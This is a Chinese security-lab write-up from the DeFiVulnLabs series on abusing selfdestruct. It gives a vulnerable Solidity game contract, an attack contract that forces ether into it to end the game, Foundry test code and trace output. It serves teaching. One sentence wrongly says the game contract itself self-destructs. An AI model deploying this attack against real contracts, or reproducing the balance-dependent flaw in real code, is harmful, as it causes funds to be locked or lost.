DeFiVulnLabs靶场(二)自销毁函数的恶意利用
DeFiVulnLabs详解汇总 [作者 Ice ThirdSpace]
- EXP
https://github.com/SunWeb3Sec/DeFiVulnLabs/blob/main/src/test/Selfdestruct.sol
- 漏洞合约源码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract EtherGame {
uint public constant targetAmount = 7 ether;
address public winner;
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
uint balance = address(this).balance; // vulnerable
require(balance <= targetAmount, "Game is over");
if (balance == targetAmount) {
winner = msg.sender;
}
}
function claimReward() public {
require(msg.sender == winner, "Not winner");
(bool sent, ) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
}
- 攻击和测试合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import"../src/Selfdestruct.sol";
import "forge-std/Test.sol";
contract ContractTest is Test {
EtherGame EtherGameContract;
Attack AttackerContract;
address alice;
address eve;
function setUp() public {
EtherGameContract = new EtherGame();
alice = vm.addr(1);
eve = vm.addr(2);
vm.deal(address(alice), 1 ether);
vm.deal(address(eve), 1 ether);
}
function testSelfdestruct() public {
console.log("Alice balance", alice.balance);
console.log("Eve balance", eve.balance);
console.log("Alice deposit 1 Ether...");
vm.prank(alice);
EtherGameContract.deposit{value: 1 ether}();
console.log("Eve deposit 1 Ether...");
vm.prank(eve);
EtherGameContract.deposit{value: 1 ether}();
console.log(
"Balance of EtherGameContract",
address(EtherGameContract).balance
);
console.log("Attack...");
AttackerContract = new Attack(EtherGameContract);
AttackerContract.dos{value: 5 ether}();
console.log(
"Balance of EtherGameContract",
address(EtherGameContract).balance
);
console.log("Exploit completed, Game is over");
EtherGameContract.deposit{value: 1 ether}(); // This call will fail due to contract destroyed.
//vm.expectRevert("Game is over");
}
}
contract Attack {
EtherGame etherGame;
constructor(EtherGame _etherGame) {
etherGame = EtherGame(_etherGame);
}
function dos() public payable {
// You can simply break the game by sending ether so that
// the game balance >= 7 ether
// cast address to payable
address payable addr = payable(address(etherGame));
selfdestruct(addr);
}
}
- 测试结果
$ forge test Selfdestruct.t.sol -vvvv
[?] Compiling...
[?] Compiling 1 files with Solc 0.8.30
[?] Solc 0.8.30 finished in 3.38s
Logs:
Alice balance 1000000000000000000
Eve balance 1000000000000000000
Alice deposit 1 Ether...
Eve deposit 1 Ether...
Balance of EtherGameContract 2000000000000000000
Attack...
Balance of EtherGameContract 7000000000000000000
Exploit completed, Game is over
Traces:
[381524] ContractTest::setUp()
├─ [293529] → new EtherGame@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
│ └─ ← [Return] 1466 bytes of code
├─ [0] VM::addr(<pk>) [staticcall]
│ └─ ← [Return] 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf
├─ [0] VM::addr(<pk>) [staticcall]
│ └─ ← [Return] 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF
├─ [0] VM::deal(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, 1000000000000000000 [1e18])
│ └─ ← [Return]
├─ [0] VM::deal(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF, 1000000000000000000 [1e18])
│ └─ ← [Return]
└─ ← [Stop]
[171574] ContractTest::testSelfdestruct()
├─ [0] console::log("Alice balance", 1000000000000000000 [1e18]) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("Eve balance", 1000000000000000000 [1e18]) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("Alice deposit 1 Ether...") [staticcall]
│ └─ ← [Stop]
├─ [0] VM::prank(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf)
│ └─ ← [Return]
├─ [226] EtherGame::deposit{value: 1000000000000000000}()
│ └─ ← [Stop]
├─ [0] console::log("Eve deposit 1 Ether...") [staticcall]
│ └─ ← [Stop]
├─ [0] VM::prank(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF)
│ └─ ← [Return]
├─ [226] EtherGame::deposit{value: 1000000000000000000}()
│ └─ ← [Stop]
├─ [0] console::log("Balance of EtherGameContract", 2000000000000000000 [2e18]) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("Attack...") [staticcall]
│ └─ ← [Stop]
├─ [53437] → new Attack@0x2e234DAe75C793f67A35089C9d99245E1C58470b
│ └─ ← [Return] 154 bytes of code
├─ [5241] Attack::dos{value: 5000000000000000000}()
│ └─ ← [SelfDestruct]
├─ [0] console::log("Balance of EtherGameContract", 7000000000000000000 [7e18]) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("Exploit completed, Game is over") [staticcall]
│ └─ ← [Stop]
├─ [485] EtherGame::deposit{value: 1000000000000000000}()
│ └─ ← [Revert] Game is over
└─ ← [Revert] Game is over
Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 55.95ms (5.07ms CPU time)
Ran 1 test suite in 379.31ms (55.95ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
- 简要说明
EtherGame 合约地址 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f Alice 地址 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf Eve 地址 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF Attack 攻击合约地址 0x2e234DAe75C793f67A35089C9d99245E1C58470b
Alice 和 Eve 分别向 EtherGame 合约地址转入 1ETH 之后
Attack 攻击合约调用 dos() 函数并转入 5ETH 使得 EtherGame 合约自毁
Selfdestruct这个函数主要用于销毁智能合约并将其剩余的以太币发送到指定的地址
该攻击利用Selfdestruct函数销毁自己,把ETH转入对方合约达到效果